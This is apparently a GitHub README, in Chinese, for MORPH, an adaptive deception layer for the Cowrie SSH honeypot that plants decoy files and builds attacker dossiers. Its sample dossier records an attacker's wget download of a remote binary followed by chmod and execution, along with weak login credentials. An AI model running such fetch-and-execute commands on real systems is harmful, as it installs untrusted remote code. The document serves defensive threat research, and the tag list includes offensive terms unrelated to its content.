nisbh/MORPH

GitHub: nisbh/MORPH

MORPH 是 Cowrie SSH 蜜罐的自适应欺骗增强层,通过实时响应攻击者行为和跨会话学习来动态演变伪造环境,解决传统静态蜜罐易被识别的痛点,同时生成结构化情报档案。

Stars: 0 | Forks: 0

# MORPH — 模块化反应式多态蜜罐 一个用于 Cowrie SSH 蜜罐的自适应欺骗层,可延长攻击者停留时间并生成情报档案。 ## 它的功能 传统蜜罐是静态的。攻击者掌握了它们的特征后会迅速撤离。MORPH 通过以下方式解决这一问题: 1. **实时监控攻击者** — 在 Cowrie 日志写入时进行解析 2. **会话期间植入诱饵** — 根据攻击者运行的命令创建伪造文件(凭证、备份、脚本) 3. **跨会话学习** — 根据以往攻击者的行为模式自适应调整伪造环境 4. **生成档案** — 为每个攻击者会话生成结构化的 JSON 情报文件 结果:攻击者停留时间更长,暴露出更多的 TTPs,并且每个攻击者看到的都是一个略有不同的环境。 ## 工作原理 ``` ┌──────────────────────────────────────────────────────────────────────────────┐ │ MORPH Architecture │ └──────────────────────────────────────────────────────────────────────────────┘ Attacker ──► Cowrie SSH ──► cowrie.json │ ▼ ┌──────────────┐ │ Log Parser │ (log_parser.py) │ - Sessions │ │ - Commands │ │ - Downloads │ └──────┬───────┘ │ ▼ ┌──────────────┐ │ Classifier │ (classifier.py) │ - Bot/Human │ │ - Intent │ │ - Risk │ └──────┬───────┘ │ ┌─────────────┼─────────────┐ ▼ ▼ ▼ ┌───────────┐ ┌───────────┐ ┌───────────┐ │ Dossier │ │ Adaptor │ │ Reactor │ │ Generator │ │ (cross- │ │ (real- │ │ │ │ session) │ │ time) │ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ │ │ │ │ ▼ ▼ │ ┌─────────────────────────┐ │ │ Cowrie honeyfs/ │ │ │ (fake filesystem) │ │ └─────────────────────────┘ │ ▼ ┌─────────────┐ │ Flask UI │ │ + HTMX │ └─────────────┘ ``` ## 主要特性 ### 自适应欺骗(3 个级别) | 级别 | 模块 | 描述 | |-------|--------|-------------| | Static(静态) | `deception.py` | 预先植入的伪造资产(SQL 转储、API 密钥、.env 文件) | | Reactive(反应式) | `reactor.py` | 基于攻击者命令的实时文件创建 | | Adaptive(自适应) | `adaptor.py` | 跨会话学习 — 环境根据攻击历史演变 | ### 基于规则的分类器 无需 ML 即可对每个会话进行分类: - **类型**:`bot` 或 `human`(基于时间、命令模式、重复情况) - **意图**:`recon`、`exploit` 或 `persistence` - **风险**:`low`、`medium` 或 `high` - 返回 `matched_rules` 列表以提高透明度 ### 实时反应引擎 实时监控 `cowrie.json`。触发条件包括: | 攻击者行为 | 反应器响应 | |-----------------|------------------| | `ls /var/www` | 植入带有伪造数据库凭证的 `config.php` | | `cat /etc/passwd` | 创建 `.ssh/authorized_keys` + `.bash_history` | | `wget`/`curl` | 在 `/tmp/` 中释放伪造的恶意软件脚本 | | `find`/`locate` | 在 `/opt/backup/` 中创建 `db_backup_2024.sql.gz` | 文件被写入 honeyfs/。Cowrie 的 fs.py 已被修补,可在每次连接时自动注册新文件 — 无需编辑 pickle 或重新加载。 ### 跨会话记忆 `adaptor.py` 从之前的会话中学习: - 如果备份成为目标 → 将其重新定位到随机路径 - 如果有 2 个或以上攻击者尝试访问 `/etc/shadow` → 植入可破解的 md5crypt 散列值 - 如果检测到 bot → 在 `/etc/services` 中添加伪造的开放端口 - 如果检测到 human+exploit → 在 `/tmp/work/` 中释放未完成的漏洞利用代码 ### 攻击者档案 每个会话的 JSON 情报文件: - 完整的命令历史记录 - 登录尝试 - 下载内容 - 分类结果 + 匹配的规则 - 应用的环境自适应调整 ### Flask + HTMX 仪表板 - 带有风险徽章的会话列表 - 档案详细视图 - 实时日志追踪(每 3 秒自动刷新) - 暗黑主题,无 JS 框架 ## 技术栈 - **Python 3.10+** — 核心 pipeline - **Flask** — Web UI - **HTMX** — 无需 JS 框架的实时更新 - **Cowrie** — SSH 蜜罐后端 - **watchdog** — 用于反应器的文件系统监控 ## 项目结构 ``` MORPH/ ├── main.py # Pipeline orchestrator ├── log_parser.py # Cowrie JSON log parser ├── classifier.py # Rule-based session classifier ├── dossier.py # JSON dossier generator ├── deception.py # Static fake asset creator ├── adaptor.py # Cross-session learning engine ├── reactor.py # Real-time reaction engine ├── app.py # Flask web UI ├── fs.py # Cowrie patch: auto-registers new honeyfs files ├── templates/ │ ├── base.html # Layout with nav │ ├── index.html # Dashboard │ ├── sessions.html # Session list │ ├── dossier.html # Session detail │ ├── live_logs.html # Auto-refresh log view │ └── _log_fragment.html ├── morph/ │ ├── dossiers/ # Generated JSON dossiers │ ├── deception.log │ ├── adaptor.log │ └── reactor.log └── .gitignore ``` ## 安装 ### 1. Cowrie (Linux/VPS) ``` # 标准 Cowrie 安装 git clone https://github.com/cowrie/cowrie.git /home/cowrie/cowrie cd /home/cowrie/cowrie python3 -m venv cowrie-env source cowrie-env/bin/activate pip install -r requirements.txt twistd --umask=0022 --pidfile=twistd.pid -n cowrie & ``` ### 2. MORPH Pipeline ``` git clone https://github.com/youruser/MORPH.git cd MORPH pip install flask watchdog # 更新以下路径: # - log_parser.py: COWRIE_LOG # - adaptor.py: HONEYFS_ROOT # - reactor.py: 所有硬编码路径 # 运行 reactor (后台) python3 reactor.py & # 运行 Pipeline + Flask UI python3 main.py ## Sample Dossier ```json { "session_id": "a3f8c2e1b7d9", "src_ip": "185.220.101.42", "start_time": "2024-03-29T14:23:17Z", "end_time": "2024-03-29T14:31:45Z", "duration_seconds": 508, "login_attempts": [ {"username": "root", "password": "admin123", "success": false}, {"username": "root", "password": "toor", "success": false}, {"username": "admin", "password": "admin", "success": true} ], "commands": [ "whoami", "uname -a", "cat /etc/passwd", "wget http://45.33.32.156/x86", "chmod +x x86", "./x86" ], "downloads": [ "http://45.33.32.156/x86" ], "classification": { "type": "bot", "intent": "exploit", "risk": "high", "matched_rules": [ "rapid_commands", "wget_download", "chmod_execute", "payload_execution" ] }, "environment_adaptations": { "actions": [ "Relocated backup to /opt/.cache/data/", "Added fake services to /etc/services" ], "triggered_by": ["previous_high_risk", "bot_detected"] }, "generated_at": "2024-03-29T14:32:01Z" } ``` ## 部署 推荐:在单个 VPS 上同时运行 Cowrie 和 MORPH。 ``` # Cowrie 位于端口 2222,iptables 重定向 22→2222 iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222 # MORPH Flask 位于 localhost:5000(如需要可通过 nginx 进行反向代理) # reactor_wsl.py 作为 systemd 服务运行 ``` ## 限制 - **独立开发** — 单个维护者 - **无 ML** — 所有分类均基于规则 - **无付费 API** — OSINT 富化仅使用免费套餐 - **Cowrie 专属** — 专为 Cowrie 设计,不适用于通用蜜罐 ## 许可证 MIT
标签:BOF, EDR绕过, HTTP工具, Log Parsing, Python, SSH蜜罐, TTP分析, 多态蜜罐, 威胁情报, 子域名变形, 实时响应, 开发者工具, 情报档案, 攻击者行为分析, 无后门, 日志解析, 欺骗防御, 网络安全, 网络安全审计, 自适应蜜罐, 蜜罐, 证书伪造, 证书利用, 诱饵系统, 进程注入, 逆向工具, 隐私保护, 高交互蜜罐